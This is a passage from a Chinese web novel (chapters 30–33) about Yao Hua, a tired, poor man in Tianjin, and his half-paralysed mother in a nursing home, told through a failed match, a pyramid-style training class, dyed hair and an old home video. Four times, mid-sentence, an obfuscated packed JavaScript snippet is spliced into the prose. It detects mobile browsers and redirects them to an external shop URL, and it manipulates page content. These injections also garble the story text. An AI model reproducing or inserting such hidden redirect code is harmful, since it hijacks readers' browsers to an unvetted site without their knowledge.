“别哄人。”她笑了，这回深了些，“我也是苦过来的。我丈夫走时，赔了二十万，婆家拿走十五万，说是养老。我一个人还房贷、上课，夜里偷着哭。” 她说得平静，像讲别人家的事。“所以我懂，苦就是苦，不用装着。” 姚华不知接啥话。 “你现在最愁啥？”她问，“钱？还是一个人孤单？” “……都有吧。” “钱的事，我帮不了你。”马玉娟说，“我一个月工资四千二，房贷两千，剩下的刚够活。孤单……”她顿了顿，“我也孤单。可两个孤单的人凑一块儿，会不会更孤单？” 她没等姚华答，接着说：“你太累了。我不想再给你添累。” 走回公园门口，她说就这儿吧。从包里掏出个小纸袋，递给姚华：“自己烤的饼干，你尝尝。” 纸袋是牛皮纸折的，手工不太齐整，上面还用彩笔画了朵小花。 “谢谢。” “别谢。”马玉娟说，“好好活着，比啥都强。” 她走了。姚华打开纸袋，里头是动物饼干，小熊小兔，烤得有点过火。他捏一块放嘴里，甜，但回味泛苦。 回家路上，他把婚恋App卸了。删之前瞥了眼最后一条私信，是个四十岁女人发的：“帅哥，看看我？”点开照片，磨皮磨得鼻子都模糊了。 卸载完成，手机好像轻了点。 晚上去养老院，张玉芬在听李姨唱戏。今天唱《小女婿》，又改词了： “二十一岁小寡妇，哭一声我的天。没钱再嫁人难啊，有钱的嫌我老来嫌……” 李姨看见姚华，停了：“华子来啦？正好，你妈刚才念叨你呢。” 张玉芬在玩扑克，这回是摆十字算命。一张张翻。 “妈。” “嗯。”张玉芬没抬头，“今天咋来了？不是周六。” “路过。” “又相亲去了？” 姚华一愣：“您咋知道？” “你表姨给我打电话了。”张玉芬翻出一张红桃A，“说第二个也没成。” “嗯。” “为啥？” “人家嫌我担子重。” 张玉芬不翻了，抬眼看他。看了好一会儿，说：“华子，妈跟你说个事。” “您说。” “往后，别总惦记我。”张玉芬说得很慢，一字一顿，“找个伴，成个家。我这儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119436|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……你少来几趟。” 姚华削苹果的手停了。苹果皮断了，掉在地上。 “您说啥呢。” “说真的。”张玉芬把牌拢起来，“我在这儿挺好，有人管。你老跑，耽误你正事。” “不耽误。” “耽误。”张玉芬很坚持，“你三十九了，该替自己想想。我活不了几年了，你还有半辈子。” 姚华接着削苹果。削得仔细，皮不断，一圈一圈垂下来。 削完，切成小块，插上牙签。 “妈，”他说，声音平平的，“这样挺好。” “好啥好！”张玉芬突然提高嗓门，半边脸涨红了，“一个人，没着没落的，好啥好？” 这是母亲头一回吼他。姚华愣住了。 张玉芬喘着气，胸口起伏。过了一会儿，平静下来，声又轻了：“华子，妈这辈子……就这样了。但你不一样。你得往前走，得有人陪。” 姚华递过苹果：“吃苹果。” 张玉芬接过来，吃了一块，嚼得很慢。 “甜。” “嗯。” “比上回甜。” “嗯。” 母子俩，一个吃，一个看。窗外天色暗了，李姨又开唱，这回是原创： “人生就像走独木桥，一步走错掉下去。有人拉你是福气，没人拉你别怨命……” 唱得荒腔走板，但词写得真。 姚华看着母亲，母亲老了，真老了。眼浊了，头发全白了，左手摸牌时会抖。可她还在替他操心，操心他没人陪，操心他下半辈子。 而他呢？他在操心下个月的养老院费用，操心房贷，操心存款还能撑几个月。 都在操心，可操的不是一处心。 “妈，”姚华说，“我真觉得现在挺好。清静。” “清静？”张玉芬笑了，那个半边脸的、怪怪的笑，“清静是啥？是没人吵你，也是没人问你冷不冷热不热。你现在觉得挺好，等老了，病了，躺床上了，你看还好不好。” 她说得对。但姚华不敢往远想。一想，就觉得前路黑漆漆的，像没灯的隧道。 “再说吧。”他说。 “别再说了。”张玉芬吃完最后一块苹果，“再说，就真老了。” 坐了一会儿，姚华要走。到门口，张玉芬叫住他：“华子。” “嗯？” “那饼干……好吃吗？” 姚华一愣，随即明白了——母亲啥都知道。表姨打了电话，说了相亲细末，说了马老师，说了饼干。 “好吃。”他说。 “那就好。”张玉芬点点头，“有人给你做饼干，是福气。” 姚华走出房间，走廊灯已经亮了。白惨惨的光，照得所有人的脸都像纸糊的。 他突然想，母亲为啥忽然说这些？是觉得自己拖累他了？是怕他因为养老院的钱，不敢找对象？还是……仅仅是个母亲最本能的担忧？ 兴许都有。 可他是真累了。累得不想再跟谁解释自己的境况，累得不想再听人说“你太辛苦了”，累得不想再为十八块的柠檬水，干坐十分钟。 仿佛人生成了条件反射——一提“将来”，就自动想起贷款；一提“陪伴”，就自动算起开销。这反射结结实实，像膝跳反应，由不得自己。 30. 第三十章 铁幕 天津这雨下得黏糊，像老天爷熬了一锅糨子，熬过了头，咕嘟咕嘟往下倒，稠得插根筷子都能立住。姚华缩在屋檐下，那屋檐窄得像道眉毛，遮不住他半个肩膀。他摸出那包七块钱的红双喜，烟盒软塌塌、湿漉漉的，“喜”字洇了一半，看着倒像个“苦”字。他叼上一根，打火机咔嗒咔嗒按了五六下，火苗蹿出来，舔了烟头两回，没着。再舔，还是没着。烟纸潮透了，跟他这日子一个德行——怎么点都差点意思，欠一股子干脆利落的火气。 高老师那话还在耳朵边转悠，跟蚊子哼似的：“看起来像！”姚华就着路灯昏昏的光，瞅了瞅水洼里自己的影子。雨水顺着头发丝往下滴，一串接一串，溜进脖领子，顺着脊梁沟往下爬，凉飕飕的，像有条泥鳅在背上游。衬衫是去年商场甩卖时抢的，五十九块，灰不溜秋，湿透了紧贴在身上，透出里头那件汗衫的边——领口早松了，皱得像老太太的额头。就这模样，看起来像什么？像落汤鸡。还是菜市场收摊时，被扔在湿漉漉角落，毛都耷拉着、等着被撮走的那种。其实也不用“像”，他就是。人家鸡被扫走前，还能扑腾两下翅膀，溅人一身腥水；他呢？连扑腾都得省着用，得留到下午见客户时，好把嘴角咧到该到的位置。 他又打了个哆嗦。不是冷，六月天能冷到哪儿去？是想起下午高老师拍他肩膀那一幕。那巴掌落下来，说是鼓励，不如说是掂量——掂量他这副身板还能榨出几两油。高老师腕子上那块假劳力士，金灿灿的，表盘大得像烧饼，晃得人眼晕。“小伙子，心气不高，手就低！手一低，这辈子就定这儿了！放不开，永远在泥塘里打滚！”这话说得跟判决书似的，还带回声，在他空荡荡的胸腔里撞来撞去。姚华当时脸上堆着笑，心里却翻了个跟头：我这辈子哪样了？不也就这样么。三十八年，一眨眼，跟摁了录像机快进键似的，人物动作抽抽巴巴，背景是唰唰流动的色块，嗖一下，就停在这湿漉漉、泛着馊味的屋檐底下了。往前看，雾蒙蒙一片，是雨也是尘，是高老师说的“阶级的壁垒”，厚实得像堵墙。往后看呢？脚印刚落下，就被雨水冲没了，连个响动都没有，好像他从没走过那段路。 他不死心，又狠狠摁了下打火机，塑料壳子嘎吱一声。这回，烟总算着了，火星子挣扎着，冒出一缕青灰的烟。他赶紧吸一口，一股霉味混着劣质香精直冲脑门，呛得眼眶发酸。他眯着眼，透过雨雾和烟雾，看远处那些亮晃晃的高楼。它们像一座座巨大的、通体发光的碑，庄严地立在夜里。孙壹臣那小子，大概就在那种地方待着吧？朋友圈里的深圳，天蓝得假惺惺的，玻璃幕墙亮得能照出鬼影。他坐在宽皮沙发上，背后是整面落地窗，窗外云啊车啊，小得像蚂蚁。那沙发，坐着不硌屁股么？姚华挪了挪脚，破皮鞋里，袜子湿漉漉裹着脚趾，挤得慌。他用拇指蹭了蹭手机屏，好像上面还沾着下午算房价时按出的汗和油。一百四十四万，天津边上一个鸽子笼。得卖多少台空气净化器？一千台？一万台？得敲开多少扇门，在多少张不耐烦的脸上堆出笑，说多少遍那句自己都快说吐了的词儿：“您知道您家的空气有多脏吗？”想着想着，倒被一口浊气呛住了，弯下腰咳得肺叶子生疼，眼泪都逼出来了。 烟没抽几口，就短了一截。他盯着那点红火星子，心里那台老算盘又噼里啪啦响起来：这一根，值一毛钱。烟丝松，烧得快，不经抽。刚才公交车上，他硬是多走了两站，省下一块钱。这一块，能买十根这样的烟，能点十次这种半死不活的火星。高老师在台上唾沫横飞，激光笔指着PPT上滚动的数字：月入十万不是梦！十万……十万是多少根烟？他脑子转不动了，像台老旧的机器，嗡一声卡住，屏幕上只剩下一片茫然的空白。 便利店小姑娘又探出头，门上的风铃叮咚一响，清脆得有点扎耳朵。“大哥，雨一时半会儿停不了，云厚着呢。进来等等？门口有凳子。”小姑娘二十出头，马尾扎得精神，眼神干净得像矿泉水，看他像看件可怜的物什，带着点轻飘飘的同情。姚华摇摇头，动作有点猛，甩下几滴水珠子。他把抽到过滤嘴、烫手了的烟蒂，用两根指头捏着，瞄准眼前一个小水洼，轻轻一弹。“滋啦”一声微响，像叹了口气，那点红光灭了，冒起最后一缕细烟，瞬间被雨吞了。他兜里就剩二十一块五毛二，包括下午在培训班群里，眼疾手快抢的那个三分之二人都没点开的红包——“恭喜发财”，三毛二。进去？买啥？一瓶最便宜的矿泉水也得两块，能买小半包烟了。再买包烟？那明天养老院的钱，就得从别处抠，也许是晚饭的馒头少一个，也许是那瓶快见底的降压药，再多吃两天。母亲那张半边能动的脸，笑起来歪歪的，肌肉扯着，比哭还让他揪心，可那毕竟是在笑，是对着他这个没出息的儿子，硬挤出来的笑。他得让那笑多撑一会儿，哪怕就贵五毛钱呢，哪怕就多一分钟呢。这账，他算得门儿清。 手机在裤兜里又震了一下，隔着湿布 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119437|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，闷闷的，像被捂住的嗝。八成是那个“财富破局·巅峰圈”群里，高老师又在发“今日心法”了，后头跟着几个托儿刷屏的“感恩老师”“醍醐灌顶”。他没掏。雨水顺着脸颊往下淌，流到嘴角，他用舌头舔了舔，有点咸，不知是雨还是别的。他想，这大概就是生活的味儿，不甜，有点苦，还有点……铁锈气。生冷，腥气，糊在嗓子眼，咽不下吐不出。高老师说那叫“格局”，叫“认知屏障”，文绉绉的。姚华觉得，那就是一堵铁幕。看不见，摸不着，平常隐在空气里，但你走着走着，“咚”一声撞上去，就知道它在那儿了。冰凉，硬实，撞得你眼冒金星，额头发青。你还不能喊疼，得自己捂着，慢慢蹲下，缓过那阵晕，然后对着空荡荡的雨，讪讪地说：“没事，不疼。”说了，好像就真不疼了，或者说，疼也成了该受的，像呼吸，像这没完没了的雨。 他最后瞅了一眼远处。那片叫CBD的地界，灯火通明，大厦像一座座奢华的水族箱。玻璃格子后头，人影晃着，端杯子，对屏幕，从容得很。那些是光鲜的鱼，在恒温的、干净的水里，摆着华丽的尾巴。他们的烦恼，大概是水温不合适，或者饲料不对口吧。姚华扯了扯嘴角，想笑一下，脸却僵着，不听使唤。 然后，他转过身，把湿透的衬衫领子往上竖了竖——虽然它软塌塌的，立刻又倒了下去，啥也挡不住。这动作没啥用，跟他很多别的动作一样。但他还是做了，像种仪式，一种对又要踏进去的、更湿漉漉的世界的、小小的告别。 他走进雨里。雨点立刻劈头盖脸砸下来。鞋底很薄，是路边摊三十块一双的，花纹早磨平了，踩在水里，“啪嗒、啪嗒”地响，声音空空洞洞。这声音，像在给他这三十八年唯一确凿的现实——踩着点儿。一步，一分钱。一步，一声得挤出来的“妈，今儿好些不？”一步，一个悄悄删掉的、老同学问“在哪儿发财呢”的对话框。雨水流进眼里，视线糊成一片。就这样吧，像就像吧。像他自己，一个连躲雨都得算算时间、地方和五毛钱感情的、地地道道的底层。这角色，他不用演，台词早长在骨头里了，眼神里的累和算盘是现成的道具，连身上这股潮乎乎的闷气，都是最好的布景。本色出演，熟门熟路。雨更大了，世界只剩下哗哗的响声，和他的脚步声，一步一步，挪向公交站牌下那同样窄的、站满了“同类”的屋檐。铁幕外头，还是铁幕，只不过换了个湿漉漉的样，把他软软地、严严实实地裹住了。 31. 第三十一章 保险箱密码 养老院的保险柜蹲在楼梯拐角，灰头土脸的，像口铁棺材。管理员是个胖女人，裤腰带上拴一大串钥匙，走起路来哗啦哗啦，跟赶骡子似的。她接过姚华的身份证，对着光瞅了又瞅，仿佛那照片是假的，才慢吞吞捅开锁。“三〇七格子，自己拿。” 柜门一开，一股旧纸头混着樟脑丸的味儿扑面而来。格里就一个蓝布袋，瘪的，像饿了好几天的肚皮。 姚华捏着布袋回屋。张玉芬正用她那不大利索的左手摆弄扑克牌，牌老往下溜，她就用胳膊肘压着，压不住，再一张张捡起来——这牌局，从开局就透着勉强。 “拿来了？”她没抬头。 “拿来了。”姚华把布袋搁床头柜上，“妈，这里头是金条吧？” 张玉芬总算把四张A码齐了，嘴角扯了扯：“金条？穷骨头倒有几根。你自己瞅。” 姚华解开抽绳。先滑出来一本存折，深红皮儿，农业银行的，四个角都磨白了，卷了毛边。翻到最后一页，打印的数字是：37,286.14。墨水淡得快没了，像这笔钱自己也觉得没脸见人。 “三万七，”张玉芬瞟了一眼，“你爸下岗那年，觉着够花一辈子了。”她停了停，鼻子里哼出一股短促的气，“后来他才琢磨过来，他那脑子，算得清进项，算不清出项。一辈子就聪明了那一回，还使错了地方。” 最后是个硬塑料皮的小本。红彤彤的，印着金字：三好学生证书。姚华翻开，里头贴着一张一寸黑白照片。小男孩穿着件大一号的白衬衫，头发用水抹得过于服帖，嘴角使劲往上咧，眼睛却怯生生地瞟向镜头外边，好像在等谁发颗糖。评定栏里写着：姚华同学，在一九九二至一九九三学年度，被评为三好学生。底下是校长签名，龙飞凤舞，谁也认不得，只认得那个圆圆的红章。 塑料皮早已裂了缝，照片边儿也蜷了起来。 “你二年级得的。”张玉芬不知何时转过了脸，目光落在那小脸上，“拿回家那天，你爸破天荒没喝醉。捧着看了半晌，蹦出一句：‘像你姥爷，卖果子的命，偏要充读书人。’” 姚华用指头抹了抹照片上那张小脸。凉的，没一点热乎气。 “我跟他吵，”张玉芬说得很淡，像在说隔壁老王家的事，“我说我儿子将来坐办公室，风吹不着雨淋不着。他说：‘办公室？他得有那命。’” “后来呢？”姚华听见自己问。话一出口，就觉得多余。 “后来他就喝酒去了。我把这证书塞箱底，想着等你真坐上办公室了，再拿出来臊他。”张玉芬叹了口气，那口气很长，很轻，像要把这些年的什么东西彻底吐出来，“结果，办公室你是坐上了，头发也坐白了。” 姚华看着证书，忽然觉得有点滑稽。他这辈子得的第一个奖，也是最后一个，像个早早埋下的伏笔——预示着他后来得学会给母亲打流食，得学会跟殡仪馆讨价还价，得学会在招聘网站上年齡栏里填上数字然后发呆。 “妈，”他把证书合上，塑料皮“啪”地轻轻一响，“您留这干啥，占地方。” “占啥地方？一个本子能占多大地方。”张玉芬用左手把扑克牌拢到一块，又开始笨拙地洗，牌哗啦哗啦，像在诉说什么，“我就是想留个念想。念想你小时候，还挺爱笑。” 姚华愣住了。他使劲往回找，记忆里的自己总是在怕，在躲，在算计明天会不会更糟。笑？那太奢侈了，像存折上那个永远羞涩的数字。 “我爱笑吗？”他喃喃地，像问自己，也像问那本证书。 “爱笑。”张玉芬很肯定，抽出一张大王，小丑的脸笑得没心没肺，“后来就不爱笑了。大概是你爸把电视机砸了那回之后？记不清了。人老了，坏事儿记得门儿清，好事儿……就像这牌，洗着洗着，就掺和乱了，分不清哪张是先，哪张是后。” 屋里静下来，只有扑克牌单调的窸窣声。窗户外头，干槐树枝划拉着玻璃，吱嘎吱嘎，听着都剌耳朵。 “钱，你拿走。”张玉芬朝存折努努嘴，“证书……”她顿了一下，像在掂量这个词的分量，“证书你想留就留，不想留，扔了也行。就是个纸片子。” “妈，”他系好抽绳，抬起头，“您说，我爸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119438|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当年要是没选买断工龄，选了按月领钱，现在会不会不一样？” 张玉芬洗牌的手停了。她看着儿子，看了好一会儿，那眼神复杂得很，有怜，有无奈，更多的是早早就躺平认输了的累。 “华子，”她慢慢地说，一个字一个字往外挤，“你爸那个脑子，不是算不清那笔账。他是算得太清楚了——他算清楚了两万块能买多少瓶酒，算清楚了按月领的那一两百不够他喝痛快。他就是没算，或者说，压根不愿算，这两万块喝光以后，日子还过不过。酒是现的，日子是远的，他这人，向来只图现的。” 她把那张大王轻轻放在姚华手边。小丑咧开的嘴在昏黄光线下，笑得有点诡异，像在嘲弄什么。 “你跟你爸不一样。你算得清账，算得清养老院一天合多少钱，算得清你卡里那点余钱还能撑几个月。”张玉芬的声音低下去，像沉进了旧棉絮里，“可有些账，越算越糊涂。人这辈子，拨拉来拨拉去，到头来就是一本糊涂账。越精明，越糊涂。” 姚华捏起那张大王。硬纸板边儿毛毛糙糙的，硌着手指头。 他最后把蓝布袋塞进自己带来的帆布包里。存折、合同、证书，三样轻飘飘又沉甸甸的旧物，和饭盒、钥匙、手机挤在一块，谁也不挨着谁。拉上拉链的时候，他想，这大概就是他这些年的全部家当了——由几张破旧的凭证、几串冰冷的数字、一张早已模糊的笑脸，和许多永远算不明白的烂账，胡乱地塞在同一个不起眼的袋子里，鼓鼓囊囊，却又空落落的。 “走了，妈。下礼拜再来。”他站起来，觉得腿有点沉。 “慢点走。”张玉芬继续摆弄她那永远理不顺的牌，没抬头，“外头风大，把你那白头发掖掖，别跟个小老头似的。” 姚华走到门口，回头看了一眼。母亲低着头，侧影嵌在灰蒙蒙的窗框里，像一张搁旧了的剪纸。她左手捏着牌，右手无力地垂着，整个人看上去，也像一张被生活洗了太多遍、边缘已经起毛的牌。 他轻轻带上门。走廊很长，脚步声回响，嗒，嗒，嗒，像另一种嘀嘀咕咕的算账声。 32. 第三十二章 白发记 染发剂是从网上买的。网站名字记不住，只记得三十九块九，还包邮。广告词写得敞亮：“一夜还你青春”。姚华对着卫生间的镜子，把那膏子往头上抹。手生，抹得深一块浅一块，不像染头，倒像粉刷匠和泥。说明书上印了个模特，笑出一口晃眼的白牙，旁边一行小字：停留二十分钟。 刚抹匀，头皮就开始刺挠。不是疼，是痒，像有蚂蚁排着队游行。这感觉让他忽然想起他爹，姚建国。那年月，他爹蹲在门槛上，拿旧牙刷蘸着黑鞋油，刷那双张了嘴的鞋。刷完了，举到亮处瞅，自言自语：“嘿，跟新的不差！”那鞋油的臭味儿，能在屋里盘桓三天不散。如今姚华懂了，爹当年染的不是鞋，是那看不见、却硌得人脚疼的日子。 二十分钟到。他拧开花洒，黑水顺着额角、鼻梁、下巴往下淌，流进眼里，蛰得他“嘶”一声。忙抬头照镜子，却愣住了——头顶是片乌糟糟的黑灰，发根那儿却顽强地白着一圈，像特意撒了层盐末子。他又冲又搓，那白反倒更显眼了，在黑灰的衬托下，理直气壮，熠熠生辉。 “妈的，”他对镜子里的自己说，“还我青春？青春没见着，倒还我个阴阳头。” 没辙，第二天去了楼下快剪店。理发师是个小年轻，耳朵上一排窟窿眼，正嚼着口香糖，瞥他一眼：“叔，咋整？” 姚华指指脑袋：“染坏了，瞧见没？” 小年轻拨拉两下他的头发，吹出个泡泡，“啪”地破了。“叔，不是我说，您这白头发，少说占六成。再上颜色也盖不住，药水还烧头皮。依我看，不如剪短，利索。” 姚华盯着镜中人。眼袋松垮着，法令纹像用刻刀犁出来的，头发黑白驳杂，像幅画废了又没扔的草稿。 “多短算短？” “寸头。”小年轻比划一下，又补充，“或者，索性刮光，最省心。” 姚华又想起他爹。姚建国晚年头发稀疏，索性剃了光头。夏天太阳一照，反光；冬天就扣顶破毡帽。邻居家小孩追着喊“灯泡”，他爹拎着扫帚疙瘩撵，跑不出两步就喘成风箱。 “就寸头吧。”姚华说。 电推子嗡嗡作响，黑白相间的发茬簌簌落下，在围布上积了薄薄一层。他看着镜子里自己的脑袋一点点变小，变圆，露出青色的头皮。原来这一脑袋头发，就是个幔子。幔子一撤，底下的真相全露了：颅骨的形状，额角的旧疤，太阳穴上那根不安分跳动的青筋。 “得嘞。”小年轻掸掉碎发，把镜子递到他脑后，“瞧瞧，年轻十岁不敢说，五六岁总有。” 镜子里是个陌生的男人。头皮泛青，剪短后的白发茬一根根挺着，更扎眼了，像收割后麦地里落的寒霜。年轻？姚华心里哼了一声。就这模样，说五十那是人家客气。 周末去养老院，张玉芬正被护工推着在走廊里晒日头。轮椅轧过地砖，咯噔，咯噔，慢吞吞的。老太太眯着眼，直到姚华走到跟前，遮了光，她才慢慢聚焦。 看了好一会儿，她嘴唇动了动，吐出三个字：“像你姥爷。” 姚华没听真，弯下腰：“妈，说啥？” “像你姥爷。”张玉芬抬起不太利索的左手，做了个抹头顶的姿势，“他也是这脑袋，头发少，白得早。” 姚华拽了把椅子坐下。阳光透过大玻璃窗，把走廊切成明明暗暗的方格子。护工见状，悄没声走开了。 “我姥爷……不是卖水果的么？”在姚华所有的记忆碎片里，姥爷就这一个标签。 “是，卖水果的。”张玉芬望着窗外，那儿有几只麻雀在啄食，“解放前自己挑担子走街串巷，解放后进了合作社，还是卖水果。一辈子，就跟烂梨瘪枣打交道。” 她停了很久，久到姚华以为她睡着了。走廊尽头传来电视机的声响，咿咿呀呀，像是唱戏。 “六几年，闹得最凶那阵，”张玉芬忽然又开口，声音平得像晒干了的河床，“来抄摊子，说他‘投机倒把’。一筐梨全给掀地上，脚上去踩，稀烂。你姥爷就蹲在那儿，一个一个捡，手哆嗦得呀。” 姚华脑子里浮现出画面：一个头发花白的瘦老头，在泥污里扒拉破碎的果子。 “捡完了，端回家，打盆清水，把那些没烂透心的挑出来，洗了又洗。”张玉芬那只左手无意识地摩挲着轮椅扶手，“晚上，把我们六个叫到跟前。你猜他怎么分？” 姚华摇摇头。 “他把梨切成两半，好的那半边，给小的；烂了半边但还能啃的，给大的。”张玉芬嘴角扯了一下，不知道算不算笑，“他说：‘囫囵个儿的给小的，他们路长。烂点儿的给大的，你们牙口硬，啃得动。’” 她转过脸，看着姚华：“我分到半个烂梨。有个虫眼，我偷偷抠了。” 阳光这时移到她脸上，那些皱纹像极了干涸土地上的裂隙。 “你姥爷活到七十三，走的时候头发全白了，可没掉光。”张玉芬说，“他老讲，头发白不怕，怕的是没东西可白。意思是，得活到该白头的岁数。” 姚华摸了摸自己刺手的寸头。 “妈，”他问，“那我姥爷……他觉得他那辈子，算活够本了么？” 张玉芬又望向窗外。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119439|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 麻雀飞走了，留下一地空寂。 “他没说过。”她慢悠悠地说，“就跟我说过一回。我出嫁前一晚，他喝了点儿酒，说：‘芬啊，爹对不住你，没给你攒下啥像样的。’我说我有手有脚，饿不死。他摸了摸自己白头发，笑了，说：‘也是。头发白了，人还没傻，就算赚了。’” 走廊里响起送饭车的轱辘声，午饭时间到了。 护工走过来，要给张玉芬系围兜。姚华站起来：“我来吧。” 他蹲下身，把塑料围兜轻轻套在母亲脖子上。手指碰到她颈后的皮肤，松的，薄的，能清晰地摸到骨头的形状。 “妈，”他系着带子，声音有点发闷，“我这儿头发……是不是白得太早了点儿？” 张玉芬低下头，看着儿子的青头皮，看了好一会儿。阳光给她花白的头发镀了层淡金色。 “早啥？”她说，语气平常得像在议论天气，“该白的时候，它自己就白了。你姥爷卖了一辈子烂梨，头发白了。你爹喝了一辈子酒，头发也白了。你……” 她顿住了，抬起那只不太灵便的左手，很轻、很轻地碰了碰姚华的头顶。那动作小心翼翼的，像在碰一件易碎的瓷器。 “你看了那么些书，写了那么些字，头发白几根，不冤。” 姚华蹲在那儿，没动弹。围兜的塑料边蹭着他的手背，窸窸窣窣地响。 送饭车推到门口。今天的菜是西红柿炒鸡蛋、红烧豆腐，味儿飘过来，温吞吞的，像所有养老院的午饭一样，挑不出大错，也留不下什么印象。 “吃饭吧。”姚华站起身。 他推着轮椅往房间走。走廊很长，两边是一扇扇闭着的门，门上的小窗玻璃映出他们移动的影子：一个坐着的白发老太太，一个推车的寸头中年人。阳光把影子拉长，压短，再拉长，玩着一种单调又持久的游戏。 进门前，张玉芬忽然说：“下回来，别染了。白就白着，像你姥爷，挺好。” 姚华“嗯”了一声。他把母亲推到餐桌边，固定好轮椅刹车。饭盒里的红烧豆腐，红油微微荡漾，映出头顶日光灯管模糊的影儿。 他坐下，拿起勺子。不锈钢勺面上，扭曲地照出他的脸：寸头，白发，眼角皱纹盘根错节。 他舀起一勺豆腐，送进嘴里。咸了。 但还能吃。他想。烂梨都能啃，咸豆腐算个啥。 窗外，那群麻雀又飞回来了，在光秃秃的枝桠上跳来跳去，啄着看不见的什么东西。它们灰扑扑的羽毛，在冬日稀薄的阳光里，也分不清是本来的颜色，还是沾了尘。 33. 第三十三章 旧物考古 录像带是从壁橱底下刨出来的。裹着个羊毛衫袋子——羊毛衫早没了，袋子倒活得挺结实。外头还包着床单，牡丹花，红配绿，一看就是九十年代的脾气。一层层剥开，跟剥腌久了的洋葱似的，辣眼睛。最后露出个黑塑料盒子，脊梁上贴了截胶布，圆珠笔写着“华子百天”。墨水洇了，“子”字那一横拖得老长，晕开一小滩，像滴没擦干净的眼泪。 姚华对着盒子发了会儿呆。这年头谁还有机器看这个？他在小区闲置群里问了声。有个专收老电影的中年人回话：“我这儿有，还能转，你来拿。” 机器是松下的，死沉。插头是黑圆头，老样式。接上电视，先是一片雪花点，滋滋啦啦，听得人牙根发软。按下播放键，机器里头呼噜呼噜响了一阵，像老头咳不完的痰。 雪花跳了几下，画面突然蹦出来了。 黑白的，颗粒粗得能当砂纸用。可也能看清：银行筒子楼的水泥墙，墙上糊的旧报纸，一角已经耷拉了。张玉芬坐在藤椅里，抱着个襁褓。那时候她头发真黑，编两条粗辫子，垂在胸前。脸上还有些圆润的弧度，冲着镜头笑，笑得有点僵，像是不知道脸该怎么摆。 她轻轻晃着怀里的包袱，嘴里哼着调。听不清，只有录像带沙沙的噪音，刮耳朵。 然后，画外一个年轻男人的声音，带点北地口音，想装轻松，却绷得紧：“笑一个！华子，给爸笑一个！” 是姚建国的声儿。比姚华记得的任何一次都清楚，都……正常。没有酒后含混的黏糊，也没有暴怒时撕扯的哑，就只是个寻常的、有点笨的年轻父亲。 镜头往前凑了凑。襁褓里露出一张小脸，皱的，眼闭着。 “嘿，这小子，不给面子！”画外音笑着骂了一句。 张玉芬低下头，鼻尖蹭了蹭婴儿的额头，抬眼对镜头说：“他才多大，懂什么叫笑。”语气是软的，掺着刚当妈的羞涩和一点浅淡的欢喜。 画面真静，静得姚华有点晕。这不是他认识的父母——是年轻的、平整的、眼睛里还能看见亮光的父母。 忽然，镜头猛晃起来，天旋地转。电视里传出张玉芬短促的“哎呀！”紧接着是“砰”的一记闷响，像什么东西摔地上了。画面瞬间糊成一团，只剩乱七八糟的色块和影子，里头夹着男人含糊的嘟囔和什么物件被踢到的声音。 记录断了。 屏幕又回到雪花，滋滋响。 姚华在沙发上没动。手里的遥控器有点潮。 大概过了十几秒，雪花没了。画面又来了，可内容全变了。 镜头像是被固定在了什么地方，低低的，对准了一片水泥地。筒子楼公共走廊的地，坑坑洼洼，留着年深月久的污渍。画面一动不动，就那么直愣愣地对着那片地。 偶尔，一双穿塑料凉鞋的脚走过，女人的，很快挪出画面。过一会儿，几只鸡爪子似的小孩脚跑过，追着，也消失了。大部分时候，画面就是死的，只有光在极慢地挪，告诉你时间还没停。 姚华瞥了眼播放器上的计时。这段静止，足足三十分钟。 他就那么坐着，看完了三十分钟的水泥地。看日头从画面左边慢慢爬到右边，在地面上拉出瘦长的、歪斜的光斑，又慢慢缩回去，没了。看一只壁虎悄没声地爬过，停在某条缝前，吐了吐信子，又爬走了。看一粒灰，或是小虫，在光柱里浮沉，起起落落。 没有声音。只有机器读带时低微的嗡鸣，和窗外偶尔漏进来的车声。 三十分钟到了。屏幕一黑，播完了。机器自己把带子吐出来，“咔哒”一声轻响。 屋里真静。姚华没去关电视，也没去取带子。他盯着已经漆黑的屏幕，那里面映出他自己模糊的影，还有身后客厅家具的轮廓。 